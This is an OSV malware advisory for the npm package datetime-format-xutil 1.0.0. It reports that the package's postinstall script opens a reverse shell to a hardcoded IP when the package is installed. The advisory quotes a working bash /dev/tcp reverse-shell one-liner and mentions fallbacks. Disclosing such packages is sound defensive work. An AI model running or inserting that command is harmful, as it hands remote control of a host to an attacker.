datetime-format-xutil @1.0.0
Vulnerability report · Last retrieved from osv.dev August 13, 2026 at 6:29 PM UTC
OSV ID
MAL-2026-13936
Ecosystem
npm
Summary
The package advertises itself as a date-format utility but ships a postinstall.js that runs automatically via scripts.postinstall on npm install. The script opens a TCP connection to the hardcoded host 8.135.48.40:4444, spawns /bin/sh, and pipes the shell's stdio over the socket, with bash -i >& /dev/tcp/8.135.48.40/4444 0>&1 and a python3 reverse-shell one-liner as fallbacks. On failure, error details are sent via plain-HTTP GET to http://8.135.48.40/shell/failed and /shell/error. The index.js date-format code is a cover; installing the package grants an interactive shell on the installer's host to the operator of 8.135.48.40.
Source: amazon-inspector (677f98dffacde20a42bef500b1e5d3e3b4b27bdcd11d7d74aa398730d6643b24)
Protect your entire dependency tree
Scan your lock files automatically on every PR. Block malicious packages before they reach production.